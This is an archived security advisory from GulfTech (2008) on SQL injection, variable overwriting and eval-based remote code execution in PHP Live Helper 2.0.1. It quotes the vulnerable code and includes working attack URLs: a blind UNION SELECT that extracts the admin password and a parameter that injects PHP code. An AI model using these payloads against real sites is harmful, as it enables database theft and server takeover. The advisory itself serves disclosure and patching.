header-logo
Suggest Exploit
vendor:
PHP Live Helper
by:
GulfTech Security Research
7.5
CVSS
HIGH
SQL Injection, Variable Overwriting, and Remote Code Execution
89
CWE
Product Name: PHP Live Helper
Affected Version From: 2.0.1
Affected Version To: 2.0.1
Patch Exists: YES
Related CWE: N/A
CPE: a:turnkey_web_tools:php_live_helper
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

Multiple Vulnerabilities in PHP Live Helper <= 2.0.1

PHP Live Helper is an online support system written in php that allows the visitors of a website to interact in real time with the site owners. There are a number of issues in PHP Live Helper that allow for several different attacks such as SQL Injection, Variable Overwriting, and remote code execution. The issues require no authentication to exploit, and users are encouraged to upgrade as soon as possible. There are a number of SQL Injection issues in PHP Live Helper that allow for an attacker to have arbitrary access to database contents such as administrator credentials. An example of the vulnerable function being called can be seen in onlinestatus_html.php @ line 19. As a result a url like the one above can be used to enumerate the admin password for the PHP Live Helper installation.

Mitigation:

Upgrade to the latest version of PHP Live Helper.
Source

Exploit-DB raw data:

##########################################################
# GulfTech Security Research              August 16, 2008
##########################################################
# Vendor : Turnkey Web Tools, Inc
# URL : http://www.turnkeywebtools.com
# Version : PHP Live Helper <= 2.0.1
# Risk : Multiple Vulnerabilities
##########################################################


Description:
PHP Live Helper is an online support system written in php that
allows the visitors of a website to interact in real time with
the site owners. There are a number of issues in PHP Live Helper
that allow for several different attacks such as SQL Injection,
Variable Overwriting, and remote code execution. The issues
require no authentication to exploit, and users are encouraged
to upgrade as soon as possible.



SQL Injection:
There are a number of SQL Injection issues in PHP Live Helper
that allow for an attacker to have arbitrary access to database
contents such as administrator credentials. First, let's have a
look at global.php @ lines 51-60

function get ($table, $id, $from="id") {
    $result=$this->DB_site->query_first("SELECT * FROM ".
    $this->dbprefix.$table." where ".$from."='$id'");
    if (is_array($result)) {
        foreach ($result as $key => $val) {
            $info[$key] = stripslashes($val);
        }
    }
    return $info;
}

As we can see in the above code, all of the parameters passed to
the get() function are unsanitized. So, if the data is not sanitized
before being sent to get() we have an SQL Injection issue.

/onlinestatus_html.php?dep=-99' UNION SELECT 1,2,3,4,5,6,7,8 FROM
admin_accounts WHERE id=1 AND MID(password,1,1)=concat(char(50))/*

An example of the vulnerable function being called can be seen in
onlinestatus_html.php @ line 19. As a result a url like the one
above can be used to enumerate the admin password for the PHP Live
Helper installation. If there is a match to the specified character
you will see an sql error, otherwise you will see an image file.



Arbitrary Variable Overwriting:
PHP Live Helper is vulnerable to a limited Variable Overwriting issue
due to some faulty register globals emulation code. The vulnerable code
in question can be found at libsecure.php @ lines 400-414

unset ($_GET[abs_path]);
$rg = ini_get ('register_globals');
$getget_count = @count ($_GET);
$getget_keys = @array_keys ($_GET);
for ($i = 0; $i < $getget_count; ++$i)
{
  $getget_name = $getget_keys[$i];
  $getget_value = $_GET[$getget_keys[$i]];
  $_GET[$getget_name] = strip_tags (urldecode ($getget_value));
  if ($rg == 1)
  {
    $$getget_name = strip_tags (urldecode ($getget_value));
    continue;
  }
}

The above code shows that variables can be overwritten, but because
of where it is called, only variables from within the db config file
can be overwritten (database info, and language file setting). This
is enough though to allow an attacker to execute arbitrary code on the
server by overwriting the table prefix variable with an arbitrary SQL
query in order to gather the location of report files, and then
overwriting the language file so that the report containing the
malicious php code is included and executed. The odd thing is that this
registers global emulation code is only called when register globals is
already on, so it is kind of pointless.



Arbitrary Code Execution:
A different bit of code is set to run when register globals are off. The
code in question is located in /includes/globalsoff.php and attempts to
emulate register gloabls by recursively creating variables based on the
GPC super globals. The problem is that all of the variable creation is
done using eval() and thus allows for remote code execution.

/chat.php?rg=0&test=";phpinfo();exit;//

A url like the one shown above will successfully execute the specified
arbitrary php code. It should be noted that by setting rg=0 an attacker
can have this code ran regardless of register globals settings since if
globals is on you can influence the "rg" parameter, and if it is off,
the script runs as intended.



Solution:
The TurnKeyWebTools developers have addressed these issues in the latest
version of PHP Live Helper which can be found at the following url.

http://www.turnkeywebtools.com/esupport/index.php?_m=news&_a=viewnews&newsid=62


Credits:
James Bercegay of the GulfTech Security Research Team 

# milw0rm.com [2008-08-18]